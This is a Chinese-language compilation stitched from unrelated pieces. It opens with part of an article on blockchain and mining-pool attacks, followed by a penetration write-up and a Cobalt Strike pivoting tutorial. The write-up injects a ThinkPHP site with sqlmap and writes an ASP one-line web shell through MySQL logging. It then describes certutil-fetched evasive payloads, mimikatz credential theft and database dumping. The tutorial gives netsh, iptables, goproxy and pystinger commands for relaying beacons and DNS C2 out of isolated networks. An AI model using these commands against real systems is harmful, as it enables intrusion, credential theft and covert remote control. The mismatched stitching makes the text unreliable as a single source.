3.安裝專業保護套件,因為這些產品已將本文中列出的應用程序列為Riskware。這些產品還阻止“被動收入”應用程序下載惡意應用程序。

區塊鏈攻擊向量:最安全技術的漏洞(上)

3. 智能合約攻擊Apriorit 擁有從事智能合約開發和區塊鏈測試的團隊。我們已經積累了豐富的基於以太坊、EOS、NEO平台的智能合約漏洞分析和規避經驗。與智能合約相關的主要區塊鏈安全問題涉及源代碼、網絡虛擬機、智能合約運行時環境以及區塊鏈本身中的錯誤。讓我們看看這些攻擊向量中的每一個。

合約源代碼漏洞如果智能合約的源代碼存在漏洞,就會對簽署合約的各方構成風險。例如,2016 年以太坊合約中發現的錯誤使其所有者損失了8000 萬美元。 Solidity 中的一個常見漏洞提供了一種可能性,可以將控制權委託給其他智能合約中不受信任的功能,稱為重入攻擊。在此攻擊期間,合約A 從合約B 調用具有未定義行為的函數。反過來,合約B 可以調用合約A 的函數並將其用於惡意目的。

虛擬機中的漏洞以太坊虛擬機(EVM) 是一種基於分佈式堆棧的計算機,其中執行基於以太坊的區塊鏈的所有智能合約。 EVM 最常見的漏洞如下:

不可變缺陷——區塊鏈塊本質上是不可變的,這意味著智能合約一旦創建,就無法更改。但是,如果智能合約在其代碼中包含任何錯誤,它們也無法修復。網絡犯罪分子有可能發現並利用代碼漏洞來竊取Ether 或創建新的分叉,就像DAO 攻擊一樣。

加密貨幣在轉移過程中丟失——如果以太幣被轉移到一個沒有任何所有者或合同的孤立地址,這是可能的。

訪問控制中的錯誤——以太坊智能合約中存在一個遺漏修改器錯誤,允許黑客訪問合約中的敏感功能。

短地址攻擊——這是可能的,因為EVM 可以接受錯誤填充的參數。黑客可以通過向潛在受害者發送特製地址來利用此漏洞。例如,在2017 年對Coindash ICO 的一次成功攻擊中,對Coindash 以太坊地址的修改使受害者將他們的以太幣發送到黑客的地址。

此外,黑客可以通過應用其他典型的破壞區塊鏈技術的方法來破壞智能合約,包括DDoS、eclipse 和各種低級別攻擊。

然而,Cardano 和Zilliqa 等較年輕的區塊鏈使用不同的虛擬機:IELE、KEVM 等。這些新的區塊鏈聲稱在其協議中保證智能合約的安全性。

4.交易驗證機制攻擊與金融機構不同,區塊鏈只有在網絡中的所有節點都達成一致後才能確認交易。在包含交易的區塊被驗證之前,該交易被歸類為未驗證。然而,驗證需要一定的時間,這為網絡攻擊創造了一個完美的載體。

雙花是一種利用交易驗證機制的常見區塊鏈攻擊。區塊鏈上的所有交易都需要用戶驗證才能被確認為有效,這需要時間。攻擊者可以利用這種延遲來獲得優勢,並誘使系統在多個交易中使用相同的硬幣或代幣。

image.png

圖2. 雙花攻擊

以下是基於利用交易發起和確認之間的中間時間的最常見攻擊類型。

芬尼襲擊當一筆交易被預挖到一個區塊中,並且在該預挖區塊被釋放到網絡之前創建了一個相同的交易,從而使第二個相同的交易無效時,Finney 攻擊是可能的。

種族攻擊當攻擊者創建兩個相互衝突的交易時,就會執行競態攻擊。第一筆交易被發送給受害者,受害者無需等待交易確認即可接受付款(例如發送產品)。同時,將向攻擊者返回相同數量的加密貨幣的衝突交易被廣播到網絡,最終使第一筆交易無效。

矢量76Vector76 是之前兩次攻擊的組合。在這種情況下,惡意礦工創建兩個節點,其中一個僅連接到交換節點,另一個連接到區塊鍊網絡中連接良好的對等節點。之後,礦工創建兩筆交易,一筆高價值和一筆低價值。然後,攻擊者預挖並從交換服務中扣留一個包含高價值交易的區塊。在區塊公告之後,攻擊者迅速將預挖區塊直接發送到交易所服務。它與一些礦工一起將預挖區塊視為主鏈並確認此交易。因此,這種攻擊利用了這樣一個事實,即網絡的一部分看到攻擊者已包含在塊中的交易,而網絡的另一部分看不到該交易。

交易所服務確認大額交易後,攻擊者向主網發送小額交易,主網最終拒絕大額交易。結果,攻擊者的賬戶被記入了高價值交易的金額。儘管這種類型的攻擊成功的可能性很高,但它並不常見,因為它需要一個託管的電子錢包,該電子錢包在一次確認後接受付款,並需要一個節點來處理傳入的交易。

替代歷史攻擊另一種歷史攻擊——也稱為區塊鏈重組攻擊——即使在多次確認的情況下也可能發生,但需要黑客提供大量的計算能力。在這種情況下,惡意用戶向收件人發送交易,同時使用返回相同代幣的另一筆交易挖掘替代分叉。例如,即使接收方在n 次確認後認為交易有效並發送產品,如果攻擊者釋放更長的鏈並取回硬幣,接收方也可能會損失金錢。

最新的一次區塊鏈重組攻擊發生在2020 年8 月的Ethereum Classic上,當時一名礦工使用舊軟件並在挖礦時暫時無法訪問互聯網。當兩個版本的區塊鏈競爭網絡中節點的有效性並導致插入大約3000 個區塊時,重組就發生了。

51% 或多數攻擊當黑客控制了51% 的網絡哈希率並創建一個最終優先於現有分叉的替代分叉時,多數攻擊是可能的。這種攻擊最初是唯一已知的區塊鏈漏洞,在不久的過去似乎不切實際。然而,至少有五種加密貨幣——Verge 、 ZenCash、Monacoin、Bitcoin Gold 和Litecoin Cash——已經遭受了51% 的攻擊。在每一種情況下,網絡罪犯都收集了足夠的哈希算力來破壞網絡並賺取數百萬美元。

最近在2020 年8 月發生的對以太坊經典(ETC) 的51% 攻擊導致價值約560 萬美元的ETC 加密貨幣被雙花。顯然,黑客非常了解ETC 協議,並在四天內設法挖掘了4,280 個區塊,直到平台發現攻擊。事件發生僅五天后,ETC 就遭遇了第二次51% 攻擊,其中一名礦工進行了4000 個區塊的網絡重組。

image.png

圖3. 多數攻擊

不幸的是,所有小型加密貨幣仍面臨多數攻擊的風險。由於這些加密貨幣吸引的礦工較少,攻擊者只需租用計算能力即可獲得網絡的大部分份額。 Crypto51的開發人員試圖提醒人們注意破解較小加密貨幣的潛在風險。他們的網站顯示了對各種區塊鏈進行51% 攻擊的預期成本。

防止雙花攻擊的可能措施包括在監聽期間監控收到的交易、轉發雙花嘗試、插入其他節點以觀察交易以及拒絕直接傳入連接。

此外,還有一項稱為閃電網絡的創新技術,旨在解決交易驗證機制中的漏洞利用問題。該網絡允許用戶通過雙向支付渠道網絡即時驗證交易,而無需委託資金保管。但是,它仍然容易受到DDoS 攻擊,其中一次已經發生在2018 年3 月。

5、礦池攻擊對於像比特幣這樣的主要加密貨幣,個體礦工已經不可能賺取利潤,因此礦工通過創建礦池來統一他們的算力。這使他們能夠開採更多的區塊,並且每個人都能獲得一份獎勵。目前,最大的比特幣礦池是BTC.com、AntPool 和ViaBTC。根據Blockchain.com 的數據,它們加起來佔比特幣網絡總哈希率的52% 以上。

礦池是一個不錯的目標。惡意礦工試圖通過利用區塊鏈共識機制中常見的Web 應用程序漏洞來控制內部和外部的礦池。

以下是對礦池最常見的攻擊。

自私挖礦自私挖礦是指惡意礦工試圖通過在一段時間內不向網絡廣播挖出的區塊然後一次釋放幾個區塊,使其他礦工失去他們的區塊來增加他們的獎勵份額。防止此類攻擊的可能措施是將礦工隨機分配到礦池的各個分支,優先選擇時間戳較新的區塊,並在最大可接受時間內生成區塊。這種類型的攻擊也稱為塊扣留。

image.png

圖4. 自私挖礦攻擊

由於2014 年對Eligius礦池的自私挖礦攻擊,礦工損失了300 BTC。自私挖礦有很高的成功機會,並且可能發生在所有加密貨幣上。針對自私挖礦的可能預防措施包括只註冊受信任的礦工,並對現有的比特幣協議進行更改以隱藏部分工作量證明和完整工作量證明之間的差異。

預扣後分叉預扣後分叉(FAW) 是自私挖礦的一種變體,事實證明它對攻擊者更有利可圖。在FAW 攻擊期間,惡意礦工隱藏一個獲勝的區塊,然後丟棄它或稍後釋放它以創建一個分叉,具體取決於情況。由Ujin Kwon 領導的一組研究人員明確描述了這種攻擊的概念。

結論儘管區塊鏈的受歡迎程度仍在上升,但越來越多的針對區塊鏈的網絡攻擊可能對其聲譽產生負面影響。了解最常見的區塊鏈漏洞和攻擊類型對於關注區塊鏈安全並想知道首先要保護什麼的每個人來說都是必須的。

因为这个站是几个月前日的了,所以图片可能不全,也没办法再补图。

写这篇文章的时候,隔壁情侣正在鼓掌,声音贼响,导致我写的东西可能没有过一遍脑子,写的可能有点混乱。另外值得一提的是,为啥我们做安全的经常隔壁碰到这种人?

已知目标网站

c5x5u2i1vea13147.jpg

之前客户有给过这种网站,所以我记忆尤深,针对这种站一般你可以直接放弃正常测试流程了,因为经验告诉我,网站主站功能基本上很少有漏洞的,只能从旁站下手。

Ctrl+u查看一波没发现有什么存在泄漏的js,回过头发现发现网站右上角有个优惠活动大厅

omxsfjpvofc13150.jpg

打开后页面似曾相识

tyv0d4q2w4m13153.jpg

随便点开一个活动,好像可以随便提交文字,没有过滤,我信心满满输入xss,提交,然而两天过去了,并没什么叼用,我当时的心情真是像云像雾又像雨。

zi2j12x4j1513156.jpg

然而我又发现下面有个审核进度查询,打开后会让你输入用户名,既然有输入用户名,那应该就是有带入数据库查询,习惯性加了个’点击查询,10秒过去了,没响应,我懵了,输入正常不存在的账号测试,是会弹出记录的,但是加单引号查询却一点响应都没有。

F12-network抓包,发现是有发送请求的,很明显了,有注入,而且报错是页面是thinkphp,从最下角看版本是3.2.3,这个版本真的是hc的最爱,从色情到贷款平台,再到菠菜都是这个版本的thinkphp。

pnbhamds0iq13158.jpg

先注入一波试试

keft5ssvnj513162.jpg

抓包Sqlmap一波拿到了管理员账号密码,突然我意识到,我没有后台地址,拿到了也没叼用。

Fofa一波得到真实ip,发现999端口存在phpmyadmin服务,6588有一个标题为护卫神丶主机大师的asp站。目录爆破,端口扫描,子域名挖掘,都没有找到后台地址。

kfphc3duppm13165.jpg

Os-shell成功,但是不管我输入什么都没反应。

Sql-shell也一样,仔细观察发现,网站路径是装在护卫神的。

f0blqlfag0q13168.jpg

有可能是护卫神拦截了,当时我还疑惑,这php的站,你用护卫神是什么意思。

等到十分钟后百度了一下hwshostmaster,我才知道我是多么无知,原来护卫神不是光有waf,他还有一个叫主机大师的服务,大概功能与phpstudy相同。

本地安装观察,发现主机大师默认安装后会在999端口启动phpmyadmin,6588端口则启动主机大师默认的管理页面,与我观察的目标ip端口一致。

phzh4bkjs4y13173.jpg

既然目标站有phpmyadmin,那我就可以尝试使用sqlmap枚举一下对方数据库账号与密码hash。

Sqlmap –r sql.txt --string="Surname" --users --password

Sqlmap枚举出来了root与test,root的密码没有破解出来,但是test的密码破解出来为1234。登陆成功。

qy5t550d2u113176.jpg

关于这种情况拿shell,木神的黑白天公众号里有篇文章<phpMyAdmin 渗透利用总结

>已经写的很详细了,木神看到这篇文章麻烦找我结一下广告费。

mysql数据库getshell一般有两种方法,into outfile,导出日志。

根据注入报错页面的文件地址

fxqjdpl20vr13180.jpg

构造语句
select 1 into outfile 'D:/wwwroot/xxx.com/web/1.txt'
报错#1 - Can't create/write to file应该是没有权限

ecn4phtcxqw13184.jpg

尝试使用日志写入,先开启日志,然后

set global  general_log_file =" D:\\wwwroot\\xxx.com\\web\\a.php"
好像还是不行,我裂开了。

43ihub54ays13188.jpg

突然我想到,既然这个wwwroot目录没有权限,那么护卫神主机大师管理页面是否可以利用一下呢 ,翻了一下本地安装的主机大师文件,可以确认主机大师的管理页面绝对路径是D:\Hws.com\HwsHostMaster\host\web,尝试修改日志

Set global  general_log_file =" D:\\Hws.com\\HwsHostMaster\\host\\web\\1.asp"
成功。

jg12riu2cfb13192.jpg

然后执行
select “<%eval request("chopper")%>”

访问http://xxx.xxx.xxx.xxx:6588/1.asp报错404,这个问题难了我好久,后来我才发现,需要把日志文件换成其他的,当前日志文件才可以访问。Cknife连接成功

qtrcvufozre13196.jpg

Whoami发现是system权限,那么剩下的就简单了,为了防止护卫神查杀,生成了个msf免杀马,通过certutil下载,然后执行,msf上线,然后迁移进程,load mimikatz,一套下来拿到了远程账号密码,脱裤打包源码,提交给客户,完事。

总结:1.主站无任何漏洞,对旁站下手,这里从优惠活动资助大厅,发现有注册页面,可尝试嵌套在线xss脚本获取管理员cookie信息,但并没有获取到 cookie2.在审核进度查询出,输入真实存在的用户名加单引号,发现页面没有相应,F12发现,有页面报错,是thinkphp,版本为3.2.33.通过sqlmap进行注入,获取到用的hash值,这里获取到root和test的hash值,能解密出test的hash值。Sqlmap –r sql.txt --string="Surname" --users --password4.通过fofa查询目标网站对应的IP的其他端口,发现存在999和6588端口,其中999位phpmyadmin端口,6588位护卫神管理界面。5.通过test进入phpmyadmin后台,又根据注入报错显示的网站物理路径,这里可以通过into out导入方法写入webshell6.首先写入到web目录下,显示没有权限select 1 into outfile 'D:/wwwroot/xxx.com/web/1.txt'7.开启log日志,发现还是失败set global  general_log_file =" D:\\wwwroot\\xxx.com\\web\\a.php"8.既然wwwroot目录没有权限,那么护卫神主机大师管理页面是否可以利用一下呢 ,翻了一下本地安装的主机大师文件,可以确认主机大师的管理页面绝对路径是D:\Hws.com\HwsHostMaster\host\web,尝试修改日志Set global  general_log_file =" D:\\Hws.com\\HwsHostMaster\\host\\web\\1.asp"9.然后执行select “<%eval request("chopper")%>”10.通过knife成功连接


转自原文连接: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247486068&idx=2&sn=4e32251aaf8c25efee653b3314a05a29&chksm=cfa6ae67f8d127715b23c7b8403a08ccfac2e1bff2ac68030401d54698bcb10cd637a55f7d15&scene=178&cur_album_id=1553386251775492098#rd

0x01 存在一台中转机器

存在一台中转机器,这台机器出网,这种是最常见的情况。

经常是拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。

拓扑大致如下:

image-20220516141642261.png

上线方法一: SMB Beacon

介绍

官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。

因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

image.png

使用

这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。

派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线

或在Beacon中使用命令spawn smb(smb为我的smb listener名字)

image-20220421232107035.png

使用插件,或自带端口扫描,扫描内网机器

image-20220421234112584.png

转到视图,选择目标

image-20220421234143265.png

使用psexec

image-20220421234333884.png

选择一个hash,选择smb 监听器和对应会话

image-20220421234419445.png

即可上线

image-20220422000337348.png

image-20220422000428622.png

运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。

当前是连接状态,你可以Beacon上用link <ip>命令链接它或者unlink <ip>命令断开它。

image-20220422000410651.png

image-20220422000458483.png

这种Beacon在内网横向渗透中运用的很多。在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link <ip>)去连接它。

上线方法二:中转listener(Reverse TCP Beacon)

其实和方法一是类似的

image-20220422000759017.png

以下内容会自动配置

image-20220422000840172.png

然后和上面方法一一样,发现内网主机且知道账号密码,psexec横向传递,选择中转listener

image-20220422001158730.png

image-20220422001452245.png

image-20220422000337348.png

上线方法三:HTTP 代理

中转机器不需要上线即可

使用goproxy项目做代理,项目地址:

https://github.com/snail007/goproxy

过程:

1.上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理

C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

2.用netsh命令将访问内网ip 192.168.111.131的822端口(必须为未使用的端口,否则会失败)的流量重定向到外网ip 192.168.1.88的8080端口

netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080

image-20220516145111513.png

3.创建listener,配置如下

image-20220516163325095.png

4.生成stageless payload,在业务服务器上执行,成功上线

image-20220516163441748.png

连接过程

192.168.111.236192.168.111.131:822192.168.1.88:8080→ C2(192.168.1.89)

上线方法四、TCP Beacon(正向)

  • 正向连接
  • 和SMB Beacon比较类似。也需要一个父beacon
  • SMB Beacon,TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些 要求显式 stager 的用户驱动的攻击(比如: Attacks → Packages 、 Attacks → Web Drive-by )。

测试:

生成一个tcp beacon

image-20220424145301486.png

使用该beacon生成一个stageless形式的木马:

image-20220424145438941.png

上传到目标机器运行:

image-20220424150129703.png

在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线:

image-20220424150307350.png

要销毁一个 Beacon 链接,在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后,你可以从同一主机(或其他主机)重新连接到 TCP Beacon。

image-20220424150527311.png

上线方法五、使用pystinger进行代理转发

pystinger的详细使用 见下面章节。 这里仅简单演示一下:

一般不会将pystinger用在这种场景下

测试环境:

攻击机kali:192.168.1.35

web服务器:192.168.1.70、192.168.111.129

业务服务器:192.168.111.236

过程:

1.上传proxy.php到WEB服务器网站目录,正常访问返回UTF-8

web服务器外网ip为192.168.1.70

image-20220517181300013.png

上传stinger_server.exe,执行

start stinger_server.exe 0.0.0.0

攻击机(192.168.1.89)上执行

./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

此时已经将web服务器的60020端口转发到vps的60020端口上了

CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020:

image-20220517181223593.png

使用psexec横向移动,选择listener为pystinger,或者直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线:

image-20220517182051748.png

image-20220517181145075.png

补充:中转机器为Linux

HTTP代理(中转机器不需要上线即可)

使用方法与上面方法三一样。只不过要使用iptables转发:

echo 1 >/proc/sys/net/ipv4/ip_forward
iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080

iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131

测试:

中转机器(192.168.111.142)

image-20220423214555465.png

攻击机

image-20220423222203087.png

生成stageless payload,在目标机器上执行,成功上线

image-20220423222359445.png

image-20220423222645751.png

连接过程:(重新截的图,端口改了一下8080->8081)

image-20220423222847432.png

192.168.111.140 → 192.168.111.142:8080→ 192.168.111.142:8081→ 192.168.111.131:81(C2)

使用pystinger进行代理转发

和上面上线方法五一样,建立pystinger连接之后,直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线。。

CrossC2

通过其他机器的Beacon可以直接上线Linux机器

image-20220424110511841.png

CrossC2使用

用来上线Linux或MacOS机器

项目地址: 【一定要下载对应版本的

https://github.com/gloxec/CrossC2

配置:

(我这里在Windows上运行的teamserver)

image-20220517214639195.png

创建个https监听:

image-20220517215034645.png

生成个payload

(用其他方式也可以)

image-20220517215228811.png

image-20220424104455547.png

image-20220424104411307.png

如果生成不了,也可以直接命令行生成

image-20220517221232018.png

生成之后,上传到Linux机器,运行,即可上线:

image-20220517221438333.png

image-20220517221454859.png

安装CrossC2Kit插件,丰富beacon的功能

image-20220517222854932.png

image-20220517222935500.png

内网机器上线CS:

中转的Linux机器上线之后,即可用上面的方法来上线内网机器。

TCP Beacon:

image-20220517224718810.png

image-20220517224749945.png

上传到目标机器运行。

然后在Linux beacon下连接:

image-20220517225035484.png

上线之后是个黑框,checkin一下就可以了

还是建议使用上面两种方法。

0x02 边缘机器只有DNS协议出网

DNS上线CS

一、准备工作

1)域名 ,godaddy :yokan.xxx
2)vps,防火墙开放UDP端口53 : 82.xxx.xxx.19

image-20220518120029278.png

3)cobalt strike 4.1

二、域名设置

1)设置解析

配置A记录设置成vps的ip,cs也配置在vps上

image-20220518121450765.png
配置几个ns记录 指向刚刚A记录对应的域名

image-20220518122329148.png

配置完成之后ping test.yokan.xxx可以ping通
image-20220518122521793.png

vps上查看53端口占用情况,停掉vps的53端口服务
image-20220518122733717.png

systemctl stop systemd-resolved

image-20220518122856917.png

image-20220518122842743.png

2)cs设置监听

image-20220518123540718.png![image-

都是ns记录的域名,DNS Host(Stager)随便选择其中一个就可以。

image-20220518123718604.png

3)nslookup查看 ,成功解析:

image-20220518123921308.png

注意:响应的地址74.125.196.113,这个是跟profile里设置的

image-20220518124037907.png

三、cs上线

生成cs的stageless上线马,执行上线

stageless 马 dns有x64版本 , stager没有

image-20220518125111240.png

image-20220518124359454.png

上线之后是黑框,需要使用checkin命令让dns beacon强制回连teamserver

image-20220518124416459.png

PS:需要多等一会

image-20220518125128422.png

这样就可以正常交互了:

image-20220518124700940.png

0x03 边缘机器不出网

方法一、TCP Beacon 正向连接

<font color='red'>应用场景:边缘机器各种协议均不出网,但是可以正向访问到。</font >

使用:

先让自己的攻击机上线

image-20220424163629329.png

然后,如"上线方法四"一样,使用TCP Beacon生成一个stageless形式的木马,上传到目标机器,并运行。

image-20220424163851956.png

在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线:

image-20220424164004378.png

方法二、使用pystinger(毒刺)工具

<font color='red'>应用场景:边缘机器各种协议均不出网,但是存在web服务,已经拿到webshell。</font >

项目地址:

https://github.com/FunnyWolf/pystinger

简单原理:

Pystinger来实现内网反向代理,利用http协议将目标机器端口映射至cs服务端监听端口,能在只能访问web服务且不出网的情况下可以使其上线cs

image-20220517174612140.png

使用

地址:

https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md

这里直接复制过来了:

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理
  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

cobalt strike单主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行
    start D:/XXX/stinger_server.exe 192.168.3.11
    

    启动服务端

192.168.3.11可以改成0.0.0.0

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)
  • 生成payload,上传到主机运行后即可上线
  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头
--header "Authorization: XXXXXX,Cookie: XXXXX"
  • 如果webshell需要通过代理访问,可通过--proxy设置代理
--proxy "socks5:127.0.0.1:1081"

测试

攻击机:192.168.1.89

假设我们在拿下一台目标主机,但是无法连接外网。

image-20220517144317558.png

使用 pystinger 工具进行 CS 上线,下载地址,通过 webshell 实现内网 SOCK4 代理,端口映射可以使目标不出网情况下在 CS 上线。

首先上传对应版本脚本到目标服务器。

image-20220517144354177.png

stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端

image-20220517144723957.png

image-20220517144741452.png

stinger_client 上传到 teamserver 服务器,-w 指定 proxy 的 url 地址运行。

chmod +x stinger_client
./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

image-20220517144922515.png

CS 新建监听器,设置为目标机器的内网 IP,端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)

image-20220517145024937.png

生成木马,上传目标服务器并执行。可看到 CS 有新上线主机。

image-20220517145046489.png


转自于原文链接:https://forum.butian.net/share/1644